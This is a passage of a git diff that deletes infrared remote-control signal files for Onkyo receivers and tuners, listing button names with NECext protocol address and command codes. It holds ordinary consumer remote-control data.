00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: 1/STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: 4/SURR -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: 5/A.ST -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 52 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 54 00 00 00 -# -name: +10/DISPLAY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: 9/RE-EQ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D6 00 00 00 -# -name: A/AUDIO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: D9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir deleted file mode 100644 index 93199ce89..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Receiver/210,109.ir +++ /dev/null @@ -1,1538 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_STATION_+_(CH) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: PRESETUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: TUNER_STATION_-_(CH) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: PRESETDOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: TUNER_PRESET_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: MASTER_VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: MASTER_VOL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLDOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: MASTER_VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: MASTER_VOL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: POWER_(MAIN) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: POWER_(RCVR) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: AUDIO_MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTING_/_REMOTE_SPKR -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: AUX-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 06 00 00 00 -# -name: TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: T2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE/DAT_(+10) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: T1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: CD_(12) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0C 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO-2_(9) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: V3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO-3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VCR-1/VDP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO-1_(8) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: V2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VDP_(6) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: V1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO-3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: AUX-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 11 00 00 00 -# -name: DBS_(7) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 11 00 00 00 -# -name: DECKB_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: TAPE1_DECKB_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECKB_STOP[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECKB/DAT_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK_B_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECKB_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: TAPE1_DECKB_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECKB_PLAY> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECKB/DAT_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK_B_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECKB_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB_PLAY_REV_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB_REV_PLAY_(<<) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: TAPE1_DECKB_REV_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB_REV_PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB_PLAY< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB/DAT_REV_PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK_B_PLAY_REV_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECKB_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: TAPE1_DECKB_REC/PAUS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECKB/DAT_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK_B_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECKB_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECKB_FF_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECKB_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: TAPE1_DECKB_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECKB_FFWD>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECKB/DAT_FWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK_B_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECKB_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: DECKB_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: TAPE1_DECKB_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: DECK-B_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: DECKB/DAT_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: DECK_B_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_PLAY> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_STOP[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: REAR_LEVEL_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_BALANCE_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR/SIMUL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: REAR_BALANCE_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: REAR_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: REAR/SIMUL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: 2/DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: TUNER_CLASS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: CLASS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: TUNER_GROUP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SUR_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DOLBY_SURROUND -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SURR_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SURR_DELAY_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SURR_MODE_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DECKA_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: TAPE1_DECKA_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECKA_STOP[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK_A_STOP[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECKA_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: TAPE1_DECKA_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECKA_PLAY> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK_A_PLAY> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECKA_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECKA_PLAY_REV_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECKA_REV_PLAY_(POW) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: TAPE1_DECKA_REV_PLAY -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECKA_REV_PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECKA_PLAY< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK_A_PLAY_REV< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECKA_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: TAPE1_DECKA_REC/PAUS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK_A_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECKA_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECKA_FF_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECKA_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: TAPE1_DECKA_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECKA_FWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK_A_FFWD>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECKA_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DECKA_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: TAPE1_DECKA_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DECK-A_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DECK_A_REW<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: SURR_DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: SPEAKERS_A -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: 7/SP_A -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SPEAKERS_MAIN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: MAIN_SPEAKERS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: SPEAKERS_B -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: 8/SP_B -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: SPEAKERS_SUB_ROOM -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: REMOTE_SPEAKERS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: SPEAKERS_REMOTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: CD_DISK_(POWER) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: PHONO_PLAY/REJECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5F 00 00 00 -# -name: CENTER_LEVEL_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_LEVEL_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CENTER_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CENTER_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: CD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8A 00 00 00 -# -name: CD_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8B 00 00 00 -# -name: DAT_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8C 00 00 00 -# -name: DAT_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8D 00 00 00 -# -name: DAT_REC/PAUSE_O/ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8D 00 00 00 -# -name: DAT_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8E 00 00 00 -# -name: DAT_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8F 00 00 00 -# -name: DAT_SRCH_FWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 8F 00 00 00 -# -name: DAT_<<_(<) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 90 00 00 00 -# -name: DAT_SRCH_REV_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 90 00 00 00 -# -name: CD_EJECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 91 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: 0/DIMMER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 95 00 00 00 -# -name: CURSOR_ENTER/ESCAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: ENTER/ESCAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: CENTER_OFF/ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 98 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: TEST_MENU -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: SURR_FUNC_TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: SURR_FUNCT_TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: SURR_TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: VIDEO-4_(11) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 00 00 00 -# -name: VIDEO_6 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 00 00 00 -# -name: VIDEO-3_(10) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: V4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: VIDEO-4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 -# -name: REAR_BALANCE_L -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C0 00 00 00 -# -name: REAR/SIMUL_L_BALANCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C0 00 00 00 -# -name: REAR_BALANCE_R -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C1 00 00 00 -# -name: REAR/SIMUL_R_BALANCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C1 00 00 00 -# -name: MULTI_SOURCE_LVL_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C2 00 00 00 -# -name: MULTI_SOURCE_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C2 00 00 00 -# -name: MULTI_SOURCE_LVL_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C3 00 00 00 -# -name: MULTI_SOURCE_V -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C3 00 00 00 -# -name: DAT_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CA 00 00 00 -# -name: DAT_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CA 00 00 00 -# -name: DAT_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CB 00 00 00 -# -name: DAT_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CB 00 00 00 -# -name: ENTER/ZONE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTI_SOURCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: SIMUL_SOURCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: 1/6_(1) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D0 00 00 00 -# -name: 2/7_(2) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D1 00 00 00 -# -name: 3/8_(3) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D2 00 00 00 -# -name: 4/9_(4) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D3 00 00 00 -# -name: 5/10_(5) -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir deleted file mode 100644 index 8248ad479..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Tuner/210,109.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_^ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_V -type: parsed -protocol: 